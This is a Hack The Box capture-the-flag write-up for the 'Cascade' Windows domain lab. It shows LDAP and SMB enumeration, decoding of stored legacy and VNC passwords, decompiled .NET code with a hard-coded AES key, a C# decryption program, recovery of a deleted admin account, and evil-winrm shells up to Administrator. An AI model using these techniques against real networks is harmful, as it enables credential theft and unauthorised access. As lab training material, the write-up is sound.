Post

Hack The Box - Cascade

Configuration

The operating systems that I will be using to tackle this machine is a Kali Linux VM and a FlareVM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

1
$ echo "10.10.10.182 cascade.htb" >> /etc/hosts

Reconnaissance

Using nmap, we are able to determine the open ports and running services on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ nmap -sV -sT -sC cascade.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-10 04:22 EDT
Nmap scan report for cascade.htb (10.10.10.182)
Host is up (0.18s latency).
Not shown: 987 filtered ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-04-10 08:25:23Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 2m52s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-04-10T08:26:15
|_  start_date: 2020-04-10T07:50:40

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 227.43 seconds

Enumeration (1)

Seeing that the box belongs to the cascade.local domain, we will append it to our /etc/hosts.

1
2
3
$ cat /etc/hosts
...
10.10.10.182 cascade.htb cascade.local

Seeing that ldap service is running on port 389, we will use ldapsearch.

1
2
3
$ ldapsearch -x -h cascade.local -b "dc=cascade,dc=local"
...
cascadeLegacyPwd: clk0bjVldmE=

After eye-balling for a while, I saw a peculiar “cascadeLegacyPwd” which seems to be in `base64. Decoding it reveals “rY4n5eva”

This field was under a user called “r.thompson”. Perhaps this password is still being in used? We can use the smb service to verify.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ smbmap -H cascade.local -d cascade.local -u r.thompson -p rY4n5eva
[+] Finding open SMB ports....
[+] User SMB session established on cascade.local...
[+] IP: cascade.local:445       Name: unknown                                           
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        Audit$                                                  NO ACCESS
        C$                                                      NO ACCESS       Default share
        .                                                  
        dr--r--r--                0 Tue Jan 28 17:05:51 2020    .
        dr--r--r--                0 Tue Jan 28 17:05:51 2020    ..
        dr--r--r--                0 Sun Jan 12 20:45:14 2020    Contractors
        dr--r--r--                0 Sun Jan 12 20:45:10 2020    Finance
        dr--r--r--                0 Tue Jan 28 13:04:51 2020    IT
        dr--r--r--                0 Sun Jan 12 20:45:20 2020    Production
        dr--r--r--                0 Sun Jan 12 20:45:16 2020    Temps
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS       Remote IPC
        .                                                  
        dr--r--r--                0 Wed Jan 15 16:50:33 2020    .
        dr--r--r--                0 Wed Jan 15 16:50:33 2020    ..
        fr--r--r--              258 Wed Jan 15 16:50:14 2020    MapAuditDrive.vbs
        fr--r--r--              255 Wed Jan 15 16:51:03 2020    MapDataDrive.vbs
        NETLOGON                                                READ ONLY       Logon server share 
        .                                                  
        dr--r--r--                0 Thu Jan  9 18:06:29 2020    .
        dr--r--r--                0 Thu Jan  9 18:06:29 2020    ..
        dr--r--r--                0 Thu Jan  9 18:06:29 2020    color
        dr--r--r--                0 Thu Jan  9 18:06:29 2020    IA64
        dr--r--r--                0 Thu Jan  9 18:06:29 2020    W32X86
        dr--r--r--                0 Sun Jan 12 22:09:11 2020    x64
        print$                                                  READ ONLY       Printer Drivers
        .                                                  
        dr--r--r--                0 Thu Jan  9 10:31:27 2020    .
        dr--r--r--                0 Thu Jan  9 10:31:27 2020    ..
        dr--r--r--                0 Thu Jan  9 10:31:27 2020    cascade.local
        SYSVOL                                                  READ ONLY       Logon server share 

As r.thompson, we are only able to read from Data, NETLOGON, print$ and SYSVOL. Time to start digging around!

1
2
3
4
5
6
7
8
9
10
11
12
$ smbclient //cascade.local/Data -U r.thompson
Enter WORKGROUP\r.thompson's password: 
Try "help" to get a list of possible commands.
...
smb: \IT\Temp\s.smith\> dir
  .                                   D        0  Tue Jan 28 15:00:01 2020
  ..                                  D        0  Tue Jan 28 15:00:01 2020
  VNC Install.reg                     A     2680  Tue Jan 28 14:27:44 2020

                13106687 blocks of size 4096. 7792770 blocks available
smb: \IT\Temp\s.smith\> get "VNC Install.reg"
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as VNC Install.reg (4.1 KiloBytes/sec) (average 4.1 KiloBytes/sec)               

In \IT\Temp\s.smith\ was a file called VNC Install.reg. After downloading and reading it, we see something interesting.

1
2
3
$ cat "VNC Install.reg"
...
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f

This password can be decoded by using msfconsole.

1
2
3
4
5
6
7
8
9
10
$ msfconsole
msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
=> "\u0017Rk\u0006#NX\a"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["6BCF2A4B6E5ACA0F"].pack('H*'), fixedkey
=> "sT333ve2"

Since the file was found in a directory belonging s.smith, we assume that this is his password. Lets test it out.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ smbmap -H cascade.local -d cascade.local -u s.smith -p sT333ve2
[+] Finding open SMB ports....
[+] User SMB session established on cascade.local...
[+] IP: cascade.local:445       Name: unknown                                           
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        .                                                  
        dr--r--r--                0 Wed Jan 29 13:01:26 2020    .
        dr--r--r--                0 Wed Jan 29 13:01:26 2020    ..
        fr--r--r--            13312 Tue Jan 28 16:47:08 2020    CascAudit.exe
        fr--r--r--            12288 Wed Jan 29 13:01:26 2020    CascCrypto.dll
        dr--r--r--                0 Tue Jan 28 16:43:18 2020    DB
        fr--r--r--               45 Tue Jan 28 18:29:47 2020    RunAudit.bat
        fr--r--r--           363520 Tue Jan 28 15:42:18 2020    System.Data.SQLite.dll
        fr--r--r--           186880 Tue Jan 28 15:42:18 2020    System.Data.SQLite.EF6.dll
        dr--r--r--                0 Tue Jan 28 15:42:18 2020    x64
        dr--r--r--                0 Tue Jan 28 15:42:18 2020    x86
        Audit$                                                  READ ONLY
...

Using s.smith, we now have access to an additional share Audit$. Wait, we haven’t found user.txt?

user.txt

Running a second nmap scan but with all ports reveals an additional service we can use: winrm on port 5985. Using evil-winrm,

1
2
3
4
5
6
7
$ ruby evil-winrm.rb -i cascade.local -u s.smith -p sT333ve2
Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\s.smith\Documents> type ../Desktop/user.txt
003fXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration (2)

Back to the Audit$ share, there were quite a few interesting files. After downloading all the files, I first checked out \DB\Audit.db.

1
2
$ file Audit.db 
Audit.db: SQLite 3.x database, last written using SQLite version 3027002

Fortunately, Kali Linux comes pre-installed with a SQLite Database browser.

After loading Audit.db into the browser, you should see 4 tables.

There were mainly 2 interesting tables:

DeletedUserAudit:

Ldap:

It seems like we found a username ArkSvc and its password which appears to be in base64. However, decoding it doesn’t return any readable password. :(

The next file I checked was RunAudit.bat.

1
2
$ cat RunAudit.bat
CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"

Hmm… This batch script is runnig CascAudit.exe and using Audit.db as a command line argument. Perhaps it is writing/reading from it? Lets check out CascAudit.exe next.

1
2
$ file CascAudit.exe 
CascAudit.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Fortunately, it was written in .NET, meaning we can decompile it to obtain its original source code! I will be transferring CascAudit.exe to my FlareVM, which has ILSpy installed.

CascAudit.exe:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
...
sQLiteConnection.Open();
SQLiteCommand sQLiteCommand = new SQLiteCommand("SELECT * FROM LDAP", sQLiteConnection);
try
{
        SQLiteDataReader sQLiteDataReader = sQLiteCommand.ExecuteReader();
        try
        {
                sQLiteDataReader.Read();
                str = Conversions.ToString(sQLiteDataReader["Uname"]);
                str2 = Conversions.ToString(sQLiteDataReader["Domain"]);
                string encryptedString = Conversions.ToString(sQLiteDataReader["Pwd"]);
                try
                {
                        password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
                }
                catch (Exception ex)
                {
                        ProjectData.SetProjectError(ex);
                        Exception ex2 = ex;
                        Console.WriteLine("Error decrypting password: " + ex2.Message);
                        ProjectData.ClearProjectError();
                        return;
                }
        }
...

In this code segment, it is attempting to select records from the LDAP table and decrypt the encrypted string in the “Pwd” column with a hard-coded key c4scadek3y654321. The decrypt function used was from a custom class called Crypto, which was in another file in the Audit$ share called CascCrypto.dll. Opening it up with ILSpy,

CascCrypto.dll:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class Crypto
{
	public const string DefaultIV = "1tdyjCbY1Ix49842";

	public const int Keysize = 128;

	public static string EncryptString(string Plaintext, string Key)
	{
		byte[] bytes = Encoding.UTF8.GetBytes(Plaintext);
		Aes aes = Aes.Create();
		aes.BlockSize = 128;
		aes.KeySize = 128;
		aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
		aes.Key = Encoding.UTF8.GetBytes(Key);
		aes.Mode = CipherMode.CBC;
		using (MemoryStream memoryStream = new MemoryStream())
		{
			using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateEncryptor(), CryptoStreamMode.Write))
			{
				cryptoStream.Write(bytes, 0, bytes.Length);
				cryptoStream.FlushFinalBlock();
			}
			return Convert.ToBase64String(memoryStream.ToArray());
		}
	}

	public static string DecryptString(string EncryptedString, string Key)
	{
		//Discarded unreachable code: IL_009e
		byte[] array = Convert.FromBase64String(EncryptedString);
		Aes aes = Aes.Create();
		aes.KeySize = 128;
		aes.BlockSize = 128;
		aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
		aes.Mode = CipherMode.CBC;
		aes.Key = Encoding.UTF8.GetBytes(Key);
		using (MemoryStream stream = new MemoryStream(array))
		{
			using (CryptoStream cryptoStream = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read))
			{
				byte[] array2 = new byte[checked(array.Length - 1 + 1)];
				cryptoStream.Read(array2, 0, array2.Length);
				return Encoding.UTF8.GetString(array2);
			}
		}
	}
}

To decrypt the encrypted password in the Audit.db, we can simply just make use of the DecryptString method that was already implemented for us. I am not well-versed on how to setup an environment for .NET but I know there are websites like this that allows you run any .NET code ! :)

This is how my final code looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
					
public class Program
{	
	public static string DecryptString(string EncryptedString, string Key)
	{
		//Discarded unreachable code: IL_009e
		byte[] array = Convert.FromBase64String(EncryptedString);
		Aes aes = Aes.Create();
		aes.KeySize = 128;
		aes.BlockSize = 128;
		aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
		aes.Mode = CipherMode.CBC;
		aes.Key = Encoding.UTF8.GetBytes(Key);
		using (MemoryStream stream = new MemoryStream(array))
		{
			using (CryptoStream cryptoStream = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read))
			{
				byte[] array2 = new byte[checked(array.Length - 1 + 1)];
				cryptoStream.Read(array2, 0, array2.Length);
				return Encoding.UTF8.GetString(array2);
			}
		}
	}
	public static void Main()
	{
		Console.WriteLine(DecryptString("BQO5l5Kj9MdErXx6Q6AGOw==", "c4scadek3y654321"));
	}
}

After executing, we get the output w3lc0meFr31nd.

Using evil-winrm again, we establish a shell as ArkSvc.

1
2
3
4
5
6
7
$ ruby evil-winrm.rb -i cascade.local -u ArkSvc -p w3lc0meFr31nd

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\arksvc\Documents> 

Going back to the Data share, there was a file Meeting_Notes_June_2018.html in \IT\Email Archives\:

1
2
3
4
5
6
...
<p>-- We will be using a temporary account to
perform all tasks related to the network migration and this account will be deleted at the end of
2018 once the migration is complete. This will allow us to identify actions
related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password). </p>
...

Hmm… If we can somehow recover TempAdmin, we might be able to get the password of the Administrator account!

Lets see if we can retrieve information about deleted objects!

1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -properties *
...
accountExpires                  : 9223372036854775807
badPasswordTime                 : 0
badPwdCount                     : 0
CanonicalName                   : cascade.local/Deleted Objects/TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz
CN                              : TempAdmin
...

Like r.thompson, TempAdmin had a cascadeLegacyPwd, which is baCT3r1aN00dles when decoded!

root.txt

Using evil-winrm for the final time, we finally get our flag!

1
2
3
4
5
6
7
$ ruby evil-winrm.rb -i cascade.local -u Administrator -p baCT3r1aN00dles
Evil-WinRM shell v2.3                                                                                                                
                                                                                                                                     
Info: Establishing connection to remote endpoint                                                                                     
                                                                                                                                         
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
f9f8XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.